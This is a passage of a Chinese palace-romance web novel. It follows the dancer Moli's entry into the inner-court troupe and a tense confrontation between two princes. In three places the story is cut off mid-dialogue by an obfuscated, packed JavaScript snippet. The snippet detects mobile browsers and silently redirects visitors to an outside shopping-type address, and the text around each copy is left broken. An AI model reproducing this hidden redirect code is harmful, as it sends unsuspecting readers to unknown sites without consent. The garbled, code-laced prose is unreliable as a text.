堂上有人问：“你可读过书？” 茉莉蓦地面红，心虚道：“读过一些《乐府》、《诗经》。” “可会认字？” “会认几个。” 监管女官在册字上大笔一挥，还问： “在练舞之余，你可愿再花些时间读书写字？” “小女愿意。” “甚好。你且回去，明日一早在照壁外等候接引吧。” “谢过大人。” 茉莉从未这般，连蹦带跳的。自幼生活在无比压抑的宅院当中，早已磨去她的少女心性，今日得了依托，不再束缚，便忘形起来。 魏缨握住她的手：“当选了吧！瞧你跳得心不在焉的，是为什么？” 茉莉回头去寻那男人，遍寻不到，“还不是为你。” “我在前，你在后，何谈为我？” “我看见了——屏风后面那位大人。” 魏缨忽然羞赧：“你在想什么呢？” 茉莉见她春心大动，更加笃定自己的猜想，继续说道： “我瞧他在屏风后看姐姐十分上心，只怕也拜倒姐姐石榴裙下了。既是如此，姐姐何不告诉他你的心意？” 魏缨不意多言，只是一味落寞：“他早已成亲了。” “那真是有缘无份。”茉莉但觉遗憾，可断没有劝人委曲求全的道理。 “茉莉，”魏缨唤她，好像有些不甘，“他当真十分上心么？” 茉莉却不知道该如何回答。 片刻后，魏缨已神色如常，对她一字一句地叮嘱道： “今日之事，你一个字都不要向外人透露，可记住了？” 茉莉懵懂，只以为她怕自己泄露她的心事，便应下来。 8. 相见不无缘 那位大人，神龙见首不见尾，早不知道去哪里了。而她们穿过园子，一路上有说有笑，到底是一见如故，恨不得把这一生都告诉了她。 “就这样，我爹要把我嫁给一个老棺材瓤子做妾，哪怕是三品京官，我也不愿意，就逃出来了。” “茉莉，等进教坊你可千万别再提这件事了。”见她口无遮拦，念及将来，魏缨怕会留下口实，故而提点。 茉莉只有听话的份，一点头：“我记住啦。那你的妹妹现在何处？” “恢复良籍后，我将多数金银细软打包给妹妹，让她去投奔远亲，但愿她能读书识字，将来嫁个好郎君。” “那姐姐可有为自己打算？” “这——”魏缨垂下头，低低地说：“这就是我的打算了。” 茉莉十分动容，“姐姐，你真是一个很好的姐姐。” 她小娘去得早，在家时，因不得父亲疼爱，常被主母和兄长欺辱，嫡姐人不坏，但却是个对父母言听计从的草包，比坏更可怕。 记事后，她从未享受过一日亲情，在遇见魏缨以前，她想不出世上会有这般为妹妹打算的姐姐。 说不羡慕那是假的。 魏缨只是拍拍她的手背，好像来了兴致： “妹妹，我们明日开始就要居住在内廷之中，届时不得恩典是不能随意出宫的，何不趁现在去集上添置些衣物、胭脂水粉云云，以免要用时没有。” 茉莉大喜：“难道我们今后便住在太极宫吗？” “那是自然，女伶只在内廷演舞。往后可不像这般自由了，你呀，千万改改口无遮拦的性子。” “谢姐姐教诲。我以为，我们会住在教坊司呢。” “咱们当然是住在教坊司中，不过教坊在内廷罢了。你先前说昨夜宿在梨园，那是属太常寺掌管的，叫做外廷。” “原来如此。” “那你可去不去采买？” 茉莉沉吟片刻，为难道：“我也正有此意。但是，我先约了昨天在杏花楼的朋友一起去买。” “那不是个男子吗？”话音未落，魏缨便省过来，“那真是你的朋友吗？未见得吧。” “真的，真的。”茉莉怕她误会，解释道：“我们昨天才认识，不如三个人一起去买，姐姐可愿同去？” 魏缨单是一笑：“我可不去。咱们还是明日再见吧。” 正好走到教坊司外，远远地，鹭起已挥起手臂，喊道： “茉莉！你通过了吗？” 茉莉胡乱应一声，不好再多说什么，只得与魏缨先行道别。直到她的身影消失在拐角处，方想起披风还没还她，欲追过去，鹭起已在眼前。 她激动地拉过鹭起的手臂：“我通过了！我通过了！” 鹭起为她感到高兴：“太好了，你的舞蹈会被越来越多的人看到。” “不是，我不想随便被人看到。”茉莉一急，用雅言纠正：“我只想让有价值的人欣赏。” 鹭起沉吟片刻，笑着耸起肩膀：“我听不懂。” “没关系。”茉莉但觉失言，万幸他没听懂，否则只怕会当她是钻营投机之人。她可不愿担这虚名。 天空放晴，鹭起主动帮茉莉拿伞。丹青伞面，红木伞骨，共八十四根，细细地打磨过，极轻极趁手，真是一把好伞。 “这把伞在哪里买的？”鹭起用生硬的汉话问。 “一个小官人送的。” 忽然有些紧张，凑到她面前：“谁送的？” 茉莉不咸不淡地说：“萍水相逢，不知她是谁。” 鹭起沉吟：“那一定是男人了。” “谁说的，她虽做一身男子打扮，但的确是个女子。” “真的吗？”鹭起将信将疑，“这女子人很好。” “自然是好。”茉莉看着那把伞，满眼含笑。 鹭起不便再问下去，手中拿着那伞，心底早已细细琢磨千遍，还要作出若无其事的样子。 顾不得过去将来，只想把她攫住，留在现在。 心有灵犀，不再提伞。他们叽叽喳喳，边走边谈，其实都不全明白对方话里的意思，可绕是牛头不对马嘴，也十分快活。 在这曲折的路途上，阳光如沐，秋风解意，是滋生爱意的温床。鹭起已经悄然跌入。 但见他心醉神迷，茉莉识趣地不做试探，满心只想明日之事，东奔西跑，凑齐一应所需之物。再也不为家事烦心，只愿在教坊司中安稳度日。 一夜甜梦。 晨起收拾包袱出门时，先到正房与鹭起告别，将要去内廷居住一事手舞足蹈，细细解释与他。梨园虽与内廷相距不远，但有一道宫墙相隔，便是不同的两片天地了。 鹭起初来乍到，没有朋友，更何况茉莉对他，不止是朋友。此刻虽然不舍，但真心盼望她实现抱负，振翅高飞，只好舍了。背过身，悄悄地抹泪，头垂得低低的。 “鹭起先生，你怎么了？” 这一唤，鹭起眼里蓄满泪水。久不听他应声，亦不回头，茉莉只好凑到他面前，认真地问：“你在哭吗？” 一见钟情，二见倾心，都与皮囊密不可分。 谁敢说，他不是在哭一位美人的离开。 “我没事，只是太——舍不得你。” 茉莉不解，却安慰道： “来日我们一同为圣人献艺，只要有缘，自会相见。” 他沉吟良久，不知到底听没听懂，又因今日要与太常寺中的乐师切磋，亦不能出门相送。茉莉见他不做声，便侧身一礼，接着背着包袱、拿着伞，出门朝教坊司去。 到照壁外，见得人影憧憧，摩肩接踵，等候接引，茉莉本想挤过去听，以免错过，但见魏缨只是站在近处，便过去找她。 “姐姐，你来得真早！” 二人握着手，微微蹲身见礼。魏缨细意打量茉莉一遍，见是一袭紫烟新衫，滚退红边，绣夕颜花，清新雅致，不禁赞道：“这身衣裙倒还衬你。” “是我那位朋友选的。”茉莉不瞒她。 “还说只是朋友？”魏缨笑而不语。 茉莉沉吟片刻，问道：“不然是什么？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120114|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见她情窦未开，魏缨无心点破，轻轻戳她眉心笑道：“你这丫头什么也不懂。” 茉莉只是贴在她身上撒娇：“往后全仰仗姐姐教我才是。” 魏缨颇觉无奈，“旁的倒还好，这事我如何能教你。” 相隔寸许，面面相觑。茉莉仍然不懂，好叫人恼。魏缨作势一推她，要朝人群里去。 眼前熙熙攘攘，耳边沸沸扬扬，茉莉迷迷糊糊，紧随其后。魏缨一味笑她，但始终没有戳破，对她吟道： “红豆生南国，秋来发几枝。” “不是‘春来’吗姐姐？” “现在是什么季节？” “秋天。” “那就对了。愿汝多采撷，此物最相思。” 朦胧的爱意，恼人的哑谜。茉莉觉出她意有所指，但一想到昨日那位大人，便觉她吟的是她自己。 姐姐天姿国色，爱慕者必定不少，偏偏到她喜欢的人就成了亲。真叫人气馁。茉莉为她不值——有缘无份，真是世间意最难平之事。 忽地，茉莉想起隋意，目光便眺去远处。 不多时，接引姑姑已将人数清点完毕，依照内人、宫人、搊弹家和杂妇女分做四列，步行前往内廷。茉莉颔首跟在魏缨身后，一双眼睛十分活分。 一行沿皇城宫道向北而行，直至长乐门外，闻得身后传来马蹄声，越来越近，接引姑姑这才示意众人驻足等候，不得左顾右盼，更不得交头接耳。可巧，长乐门内又抬出一顶软轿。 裴念元一身藏青劲装，飞身下马，躬身合抱双手：“参见二殿下。” 楚棣懒懒坐在轿上，还礼打趣：“恭迎中宫裴大人。” 声音耳熟，茉莉悄悄抬眼去瞧，却不巧，裴念元身影正好遮住楚棣。什么也没瞧见，倒惹姑姑剜她一眼，只得悻悻地，垂下脑袋耐心等候。 裴念元不计较：“殿下客气。今日时辰尚早，殿下这是往哪里去？” 楚棣答道：“去东宫拜见太子殿下。” 太极宫与东宫相邻，宫城内自有路可去，何必绕远路从这里过？再说，这会儿太子大约正在御前奏对，想必他是醉翁之意不在酒罢。裴念元看破，并不说破，单是微微一笑。 “既不顺路，那下官先行告退。” “裴大人，回见。” 楚棣腿伤未愈，母亲不许他下地乱跑，只好坐这劳什子软轿在宫内行走。好容易拿来名单，却不见其中有叫“文君”的伶人，只好差人出去打听，得知今日伶人入宫，故前来眼见为实，免得错过。否则他才不去拜见太子。 四列女伶蹲候墙下，此地人多眼杂，楚棣不敢看实了，单是草草在人头上扫了几遍，没看见要找的人。一抬手，内侍就抬着他往东边去。 待仪仗一过，接引姑姑叫众人起身，正声训诫道： “小娘子们打今日起便是内廷中人，自该悉心锤炼舞艺，以待来日。宫内赏罚分明，只需各人做好本分，该有的便都会有，可别见着一两位贵人，就生出不该有的心思。” 众人齐声应道：“多谢姑姑教诲。” 9. 宫门深似海 内廷等级森严，内人一级的女伶尽数被安置在西边宜春院中。及至入院，茉莉才发现她们这一批入宫的内人只堪堪四个，听说宫人稍多，但也只得八个。可见要去御前献艺并不简单。 掌教女官瘦瘦小小的，约莫四十几岁，面容很和善，但一看便知是个精明能干人物。此时站在檐下点卯，一面有宫人发放秋冬常服四套，配银鱼袋。 茉莉接来捧在手中，不觉欣喜异常，站在原处不自觉地望向魏缨，但魏缨只是看着掌教。 终于，掌教女官开口道： “老身名唤檀华，今年是在宜春院任掌教的第二十个年头。各位小娘子既入得内廷，想必知道，在四等伶人中，内人姿色技艺最高，能去御前献舞，因而称为“前头人”，还望小娘子们勤加苦练，莫坠咱们宜春院女‘教习一日便可上场’的美名。” 众人听罢，齐声答道：“谨记姑姑教导。” 那接引姑姑俯耳过去说了几句，檀华又道：“宫门深似海，但有一日，你们走出宜春院，不管见到谁，都要记住‘在外只说三分话，不可全抛一片心’，在此以上，对人多加礼待总是不会错的。” 众人又答：“谨记姑姑教诲。” 檀华看这四个姑娘，不觉生出奇异的预感，其中总有一个会是叫宜春院承恩的贵人——螓首蛾眉，巧笑倩兮，不言喜，不言愁，必是个水晶心肝玻璃人。 暂且没有定论。 茉莉紧盯鱼袋，入定一般，片刻也不移开。 檀华见了，问道：“茉莉，你有什么问题吗？” 茉莉不解：“檀华姑姑，咱们伶人为何也有鱼袋？” “这鱼袋只做宫内区分身份之用，与外头官员的不大一样。”檀华顿住片刻，微微笑道：“你们入宫时不是遇见中宫裴大人么，阖宫女官之中，独她的鱼袋与男子的别无二致。” “这是为什么？” “因为她能力出众，更胜男子。” “姑姑，假若我们有裴大人的能力，便也能有和她一样的鱼袋？” “那是自然。咱们的圣人皇后是最爱才惜才、赏罚分明之人。” 虽是场面话，但令茉莉振奋不已。一个女子，要多出众才能和男子得到同等对待？她不知道。只是她一向胸无大志，今日却有了——她要得一个真正的鱼袋，从女官，到男官，不管有多难。 我真糊涂呀！ 这中宫裴大人，不就是在崔府那夜隋意提及的裴九小姐么，她出身显赫，茉莉并不因此自卑自怨，反而更添斗志。 还要再问，不好。魏缨投去眼色制止，自己开口道：“请问姑姑，我们几个怎么住？” “两两结对。” “住哪里呢？” “你和茉莉去住东楼廊下第一间，她们住第二间。今日没有为你们安排演练，明日卯时一刻，准时到西楼点卯。” “是。” 在四个姑娘的恭送下，檀华向西而去，那端庄身影消失在门外。茉莉努努嘴，要说话呢，却见另两个人斜睨着她，讥讽地笑。 茉莉疑惑极了，她们是为什么？魏缨却看得很明白，无非是为她刚才的问题。 其中一个走上前来，丝毫不加掩饰：“凭你是什么出身，想得到和裴大人一样的礼遇，可不痴人说梦么。” 茉莉面颊发烫，但鼓起勇气瞪住那人，分辨道：“王侯将相，宁有种乎！你觉着自己出身低微不堪大用，可千万别带上我。” “你！”那人家道中落，一时语塞，败下阵来。 茉莉不知天高地厚，魏缨却瞧她可爱至极，不禁两腮含笑。 另一人不好相与，笑颜接道：“都是伶人，再分不出高低贵贱的。你与魏缨姑娘交好，偏巧叫做茉莉，莫非也将自己当做花神，想做皇妾了？” 茉莉满肚子话辩白，却被魏缨拉住手腕。她深知这话犯忌，故一味柔弱地劝：“这里不比外头，妹妹满嘴的花神、皇妾，并不是什么好话。要知道除太子以外，圣人的皇子们俱已成年，未出阁者甚多，这番话要是传到宜春院外，免不得要问罪坐法，届时可不白费妹妹入选这一番苦心。” “这里就咱们四个，”不待这人说完，魏缨声气还是柔柔的，“此处是只有咱们四个，焉知隔墙无耳？大家同入一门，从今就是姐妹，还是各自散了，消停些吧。” 这人虽有几分泼皮性子，但暂时被吓住了，拉住同伴胳膊，娇哼一身便转身而去。 待她们走远，茉莉气犹未消：“姐姐，你怎么不让我和她吵上一架？” “四人同在一处，低头不见抬头见，何必闹得那么难堪。”魏缨搂过她的肩膀，安抚道：“好妹妹，你说的话比姐姐要好。人有大志那是好事，可是功成名毕竟是以后的事了，咱们要看住眼下，做好四个字。” “哪四个字？”茉莉不解。 “安守本分。” “好。”茉莉答应，“我不再和她们吵架了。” “这才对。”这便往住所去。 茉莉在家时，曾听过几回有关东宫的邸报，无外乎婚娶、生子、立功、辅政。国人都知道东宫深得圣心，羽翼丰满，储君之位极其稳固，可奇怪的是，皇子们既已成年，为何不开府建衙或去封地度日？ 魏缨看穿了她，故问：“小丫头，又在琢磨什么？” 茉莉将困惑尽数说来，天真稚嫩，却到底无知呀！ 魏缨揽着她，一路走到房中，回身站到门口，四下查看一番过后，确定没有异样再回头把门合上。拉她坐到桌边，小声说： “妹妹可知道，咱们今日所见的二殿下，十几岁时便在朝中崭露过头角，颇受臣工赞誉。照理说，都是圣人之子、中宫嫡出，做不到一视同仁也不该太过厚此薄彼，可圣人硬是一不授他权柄，二不令其出阁，三不外放封王，个中滋味，该是何等煎熬？究其根本，俱是为安定东宫呀。” 茉莉思忖片刻，“但我听说东宫已得崔氏幼女为正妃，其余皇子并未婚配，有圣人铺路，加以世家相助，为何还要忌惮二殿下？” “未见得是忌惮吧。”魏缨望着她，若有所思的样子，“我倒认为是不顾体面的防患于未然，仅此而已。” “这是什么说法？” “无他，庙堂权力极易倾覆，没有十拿九稳的事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120115|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“姐姐好见识！”茉莉赞过，接着问：“那今早姐姐在我前头，可看见那二殿下了？” “看见了，”魏缨极其谨慎，“不过姑姑盯着，没看真切。” “我听他的声音很耳熟。”茉莉转念一想，又觉不大可能，遂说：“大概是我想多了。” “说来听听。” 茉莉便一五一十把遇见隋意、夜宿崔府及拜见崔平陆等事说与魏缨，只是无意隐去救人这一节。说完尚有悔意： “那时我因不喜欢自己的名字，故欺骗于他，后来他说他叫隋意，我只不信，道这名比叫花儿草儿还不用心，他驳我，有人的名字是一种树，我问是谁，他说太子殿下。” “然后呢？”魏缨来了兴致。 “我说‘你认得太子殿下么？’他说认得。” 魏氏以诗书传世，魏父坐法前官居从四品。在人生的头十年里，魏缨虽长于后宅，但对长安城内世家贵族、诸人诸事，能做到如数家珍，隋氏，真对不上号。 “你记清楚了，他真的叫隋意？” “嗯。” “恐怕你们心有灵犀，用的都是假名。” “姐姐何出此言？” “你可知道二殿下叫什么名儿？” “我不知道。” “他叫楚棣。你想想，兄长唤‘棠’，他唤‘棣’，可见这名出自‘棠棣同馨’的典故。”说到此处，魏缨恍然大悟：“若真如此，他觉得这名字起得随意也在情理之中。” 茉莉不敢信，嘴硬道：“他......他狼狈不堪，没有今日二殿下的气度。” “你呀你！”魏缨颇无奈，摇头轻笑：“不管他是谁，将来总有水落石出的那天。” 茉莉不可置否，耸肩一笑。 魏缨瞧着她，眼光爱怜的，只道是隋意也好，二殿下也罢，这丫头并非情窦未开，而是还未察觉自己心有所属罢了。只盼来日二人聚首，她能像劝自己那般直爽大方。除此以外，还另生出一番计较。 茉莉两眼放着精光，在屋内逡巡，她肯定今晚能睡得舒坦、安宁，因这屋子宽敞、明亮，比在家，比在梨园，都要好。 一下午，趁茉莉睡沉了，魏缨把这屋子布置出来，进门左右两床相对，床头摆着柜子，将梳妆台挪到窗下，好采光。红木圆桌放到屋子正中，四把圆凳绕桌而放，是为分界，墙上古画一一取下，将墙角蛛网和窗棱上的灰尘一一扫净。 而她自己，专心伏在桌上写信，一字一句，载下这几日浮沉，封好，换上宫装溜出宜春院去。 “姑娘当真来了。” “自然，风雨不改。” “可有别的话要奴婢带到？” “没什么了。”稍顿，忍不住道：“只是，请大人尽快答复我信中之事。” 那小黄门将信递去，躬身一礼，回身便走。 魏缨忙把信封塞进袖里，惴惴不安地走回居所，见茉莉仍在熟睡，这才拆看。信上只有歪歪扭扭的两句诗： 白首相知犹按剑 朱门先达笑弹冠 看罢，回头瞧一眼茉莉，心里酸酸的，忙点蜡烛烧了。 10. 无情帝王家 软轿过宜秋宫门入东宫。在这东西走向的长街上，并列三座宫殿，分别是宜秋宫，承恩殿和宜春宫，俱是守卫森严。 东宫诸人素来爱在居中的承恩殿议事，因此跨入宫门前，楚棣便吩咐落轿，步行前去拜见，以免落人口实。 正拖着伤腿上阶，殿前当值的翊卫中郎将便赶来接他，扶住胳膊，关切道： “二殿下，伤好些了吗？”打量那腿，连礼都忘记施，显见是旧相识。 楚棣淡然一笑：“好多了，多谢。”这厢边走边问，“卢将军，怎么今日不在殿前议事？” 这唤卢绾的中郎将是太子心腹，自幼随侍身侧，伴读、习武，寸步不离，最是忠心不二。十六岁上入编东宫翊卫队，至今已近十年，着一身红黑甲胄，神采奕奕，品貌不凡。 卢绾笑道：“我的事了了，特意出来接您。” “哦？”楚棣讶然，“殿下知道我要来？” “是。”答得简洁。 离得近，卢绾瞧见楚棣鼻尖渗出的细汗，到底不忍，正想开口调节，二人已至殿前，近侍林华出殿来，虾腰将楚棣引进门去。 正殿烛光充盈明亮，向右一弯，屏风后面是一间精致偏厅，临水而建，墙上居中挂着国中舆图，案几和地毯上堆满奏折，旁边是珊瑚鸟站架，上面站着一只威风凛凛的葵花鹦鹉，剑架居左，左右两边摆放长案，案上放着一把琵琶。 太子楚棠二十四五年纪，一身绛红常服，外披黑轻衫，脚下一双木屐，在舆图下负手而立，一派潇洒闲雅。听见声音，漫不经心地回头。 “棣儿来了，棣儿来了。”鹦鹉报信。 楚棣呆站着，没有行礼，没有言语，眼中只是他的影子。注视着他，一如在照镜子。什么都不做，却冥冥之中，已把什么都做了—— 窗外松枝微颤，瑞兽嘴里吐出缕缕白烟，不过片刻，已在风中消散。 他别脸，望向窗外，不禁轻颦浅笑：“酌酒会临泉水，抱琴好倚长松。阿兄今日好兴致。” 楚棠在上首落座，闲闲一笑：“忙里偷闲，聊做消遣耳。谈何好兴致？” 楚棣不接话，自顾自问：“听说兄长病了，现在可好些了？” 楚棠面色稍暖，“好多了。阿娘说你腿伤严重，我本想去瞧你一眼，但怕过了病气给你。可巧今日一早宫里传话，说你要来拜我，我便偷懒没去御前奏对。” “那倒是做弟弟的不是了。”楚棣噙起笑意，深深一礼，“臣弟参见太子殿下。” 楚棠的眼，如一片深潭，面上波光闪动，水下幽深无比，暗流涌动。 万人之上的日子，多无聊烦闷，只因将来要做天下之主，便将眼当作网，撒向极目处，像一个渔人，酝酿，下网，等待，捕捉，不允许有任何漏网之鱼。 所有的一切，都被网在其中，直至扭曲。 他忙唤他起来： “阿弟，不要多心，为兄虽居东宫之位，但心里从未将你当作臣子看待。我们是一母同胞的亲兄弟，不要如此见外。一别多日，难道为兄不能对你常怀思念？” 听见这番说辞，楚棣疑心梦魇一事已传到他耳朵里，一时不得法，只好一阵大笑：“君臣之道在前，亲情人伦在后，这是正理。兄长对我常怀思念，焉知我对兄长不是一轮明月印波心？” 楚棠不管，只说：“你到近前坐下。” 楚棣应声上去，在楚棠手边跪坐。 昨日御前奏对后，圣人将楚棠留在御书房内说话，不知是人在病中，忧思深重的缘故，还是别的，只说到外界流言纷飞，太子要置胞弟于死地，便泪流满面。 楚棠心知肚明，父亲是为小弟的将来担忧，他虽未做过一星半点，但保不齐手底下有糊涂人，做糊涂事，故暗下决心，为父解忧。 目光流连于楚棣身上，思忖好久，楚棠终于开口： “昔日，我们一同在立政殿长大，慈亲相伴，兄友弟恭。耶耶不舍我搬入东宫，但我执意走了，叮嘱你多陪伴阿娘和幼妹，你就是不肯，宁愿跟着三叔去南衙吃苦。是，三叔对你百般照顾器重，可是耶耶高兴么？棠棣交辉，你都忘记了！比起爱你，耶耶更不愿看你我相争，所以不肯放你出阁，连个亲王都不给你封。你那日梦中哭诉，我能明白其中缘故，但我不懂，你是真的害怕，还是戏弄双亲。” 一番肺腑之言，说得楚棣渐生恼意，想走却是不敢，只好竭力压制心中的不甘与怒火。楚棠生性多疑，普天之下，所有真相都在他缜密的心上，容不得旁人置喙。 面对他，楚棣半句辩白都嫌多，故一味沉默，忍耐。自以为早已习惯父母的偏心，可真相刺痛了他，多年困惑，都在此刻得到答案——只因怕他争，便不放他出阁，不封亲王，不指婚。 不禁气极反笑，长叹一声。 瞧在楚棠眼里倒像疯了似的，可怜他，所以安慰道： “究其根本，这些事，只是耶耶想让我来为你圆满。你近日在宫中侍疾，难道看不见那一天越来越近吗？你不要急，届时我会遵从耶耶的期望，对你委以重任，你在军中自在，我便封你做上将军，让你节制天下兵马，比做一个无权无势的王爷要更痛快。阿弟，别再害怕了！” 他说得情真意切，并非施舍，可就叫人越听越不是滋味。 “上将军，节制天下兵马，厉害。”楚棣讥讽道。 “裂土封王，四乘轺车，统领六率府，赐食邑万户。” 楚棣但觉不妙，嘴上却不点破，只是笑：“你要封我做太子？” 楚棠摇摇头：“阿弟，你知道我的意思。三叔一向亲近你，他的印，交到你手里，对咱们三个都好。”他自说自话，丝毫不顾楚棣感想。 楚棣早知有这一着，可没想到，他要自己去做这把刀。着实吓了一跳。再谈下去于自身无益，只好说：“祝殿下得偿所愿。”到底心灰，又道：“来日继承大统，封小弟做个无权无势的闲散王爷，逍遥此生便罢。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120116|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你当真对我不满至此？”楚棠眼睛微眯，近乎质问。 “你别忘了，在我熟睡的时候，父亲问你‘棠儿，你想不想做太子？’”说到此处，楚棣心痛如绞，顾不得将来是死是活，再一次气极反笑，“父亲可曾这样问过我？” “我说我不想。” “可你仍然做了太子。”楚棣妒火中烧，忽的跪直起来，怒目圆睁，“这就是我的父亲！” “你只记得耶耶问我，那你可记得我问耶耶？” “我记得，我全都记得！”楚棣起身，走到剑架跟前，抚上剑鞘，哽咽着，“我们失去了两个叔叔，他们死了，我们才有三叔。” “他们为何而死？”楚棠神色自若。 “那要问你，太子殿下。”楚棣回身，脸上两行泪光。 “耶耶用心良苦，不止为我，也为你。你当年不谙世事，耶耶不能将事情原委尽数告知与你。后来你长大了，学习列国典籍，六经皆通，既勤奋又上进，连我的太师太傅都对你青眼相加。只是，那时咱们尚未出生，镇国公主府把持朝政，两位叔叔俱是少年英豪，若任由他们建功立业，耶耶何年何月才能亲政？耶耶既不能亲政，朝堂之上又为何能有你我二人容身之地？” 一番说辞滴水不漏，楚棣竟不知该如何反驳，但胸中到底不平。平日里谨小慎微，处处提防，生怕言行有失分寸，今日却不怕了，因为他们此刻不是君臣，而是一双争夺父母偏爱的兄弟。 他不认，咬死不落下风： “依你所言，二位叔叔罪在出身，但我不这么认为。你可记得父亲说过，昔年骊山行猎，他们四人骑马射箭、驰骋山林，夜不归宿，那般美好的少年岁月，岂是‘权力’二字可抹杀的。父亲彼时已登帝位，亲政是大势所趋，只待那日，你我何处不能容身？” 话音未落，太子忽然大笑： “听听你这番话，是为君之道吗？权力是谁等来的？主少国疑啊！在羽翼未丰以前，耶耶尚受镇国公主掣肘，你是谁？我是谁？若非耶耶将权柄牢牢攥在手中，今日你我如何能在东宫争吵？你要仁德，无异于等死。” 楚棣气急，口不择言： “不管在哪个位置上，都是你为刀俎，我为鱼肉，我引颈待戮就是！” 知他牛心左性，楚棠只会越劝越不得法，反正于大位没有威胁，不如先由他去。注视半晌，终于对他摇摇手： “你要等死也好，建功也罢，为兄不再多言。只盼你不因一念之差不尽大孝之礼。” “殿下竟这般急不可待。” “你不必如此看我。” “那是何意？” “椿萱并茂,棠棣同馨。只要你肯与我同心同德，便是尽大孝之礼。” 楚棣语塞，只好对他深深一躬：“多谢殿下教诲。” 楚棠沉吟少顷，语重心长道：“我只有你一个弟弟，你也只有曙雀一个侄子。好了，你不常来东宫，今日留下用午膳吧。” 11. 应与我情同 楚棣抹去脸上泪痕，炯炯目光注视太子，虽无异样，却如芒刺在背。谦恭推拒道：“殿下盛情，臣弟心领了。只是今日与玄素有约在先，这会儿该去文学馆会面了。” 玄素姓柏，是太师柏公长子，与楚棠有总角之好，情谊甚笃，但恪守着君臣之礼，从不过分与他亲近，因性情与楚棣更为相投，二人成就了一段君子之交。 “二叔不必着急。”外殿传来清脆的女声，屏风后人影款款而至，旋即走出一个水蓝轻衫，姿色粹美的年轻女子，缓步香茵，极尽文雅端方，赫然是太子妃崔成碧。 楚棣回身一礼，不敢直视：“见过太子妃。太子妃何出此言？” 适才看见奶娘怀中的孩子，三岁上，汤圆一般，又软又糯，馅儿还是甜的。 崔成碧对楚棣点头一笑，走到楚棠身边，悠然道：“玄素最是守礼，一旦听闻太子殿下今日告假，必定会来请安。二叔且在这里耐心等待吧。” 崔府待楚棣用心，从不轻慢，他一直心怀感激，礼重太子妃。但觉她一来，空气都清新了，怎会驳她的面子？就单是说：“那小弟先不走了，我要留在这里，陪陪我的侄子。” 然后走到奶娘面前，用手指去蹭孩子的脸颊，问道：“怎么几日不见，曙雀好像长大了。” “小孩子么，一天一个样。”崔成碧依偎着楚棠，双手拉得紧紧，四只眼睛一对，俱绽笑颜。接着说道：“曙雀昨天还说，他想二叔了，二叔怎么不在。我想，今日二叔要是不来，殿下会抱他去立政殿里请安一见。” 曙雀一双眼，滴溜溜地望他，奶声奶气的：“二叔抱。” 楚棣接过孩子在怀里掂量，他虽不喜欢太子，但对侄子真心疼爱，不禁凑去贴贴脸蛋：“二叔想曙雀，所以就巴巴地来了。”好软。同时心里庆幸，若没有太子妃，没有曙雀，他今天当真不知该怎样示弱收场了。 父亲正在病中，他们闹得太僵，岂不叫人挂心？他从来不是不孝顺的孩子。 楚棠一直安静地注视他们，听他们说话，心情舒畅不少。这厢正色道：“你腿上有伤，傻站着做什么。” 楚棣不情不愿，抱曙雀就近坐下。 崔成碧腔调温柔，解释道：“殿下知道二叔腿伤未愈，关心你呢。只是身为长兄，稍显严厉。” “只是稍显？”楚棣故意地，像告状：“方才嫂嫂不在，没瞧见殿下训斥我的样子，倒真像是兄长。” 楚棠不悦：“只是像？却不是？” 楚棣忙解释：“小弟的意思是，殿下是君，我是臣。” 崔成碧看向楚棠，有些依依。当下却问楚棣：“二叔能言善辩，何不驳他？” “人家句句在理，我驳什么。” “既然如此，我倒有个公平的法子，可让你们一分高下。” “什么法子？” 谁知她道：“不如等玄素来了，你们同去府上求见柏公，请他老人家裁判。届时二位殿下只需各抒己见，至于谁胜谁负么，柏公自有定论。” 柏公为人公正，不偏不倚，兄弟二人幼时在他跟前聆听教诲，有不足之处尚且受训，更遑论今日兄弟相争，去他跟前打辩论，免不得结结实实挨顿骂。 这太子妃呀！楚棠最喜欢她古灵精怪，不禁满眼欣赏：“好太子妃，难为你想出这好法子！” 楚棣却被点醒，面有愧色地自嘲：“我已经认输了。” 楚棠悬着的心飘然落地，不论诚心与否，当他愿意认输的时候，就是着手调-教的好时机。欣然而笑：“难得你肯服软，我和你嫂嫂今日不算白费口舌。” 楚棣诚惶诚恐：“多谢兄长、嫂嫂教导。” 都看出他装腔作势。 崔成碧却是大笑：“二殿下原是被我说服的。”侧脸看住楚棠，“殿下理应赏我。” “原来你做说客只为讨赏。”楚棠摇摇头，“发心不正，不赏，不赏。” 世人皆云，太子生性刻薄，风流却寡恩。但见这一幕，楚棣想，太子心中是有情的，只是不对世人。他脸皮薄，颔首辩解道：“嫂嫂别取笑我。我原对兄长也心服口服。” 外殿有人求见，楚棠笑吟吟的，起身走出去，但影子还留在屏风上。 楚棣不动，继续逗弄怀里的曙雀，神一散，就不住地长吁短叹。 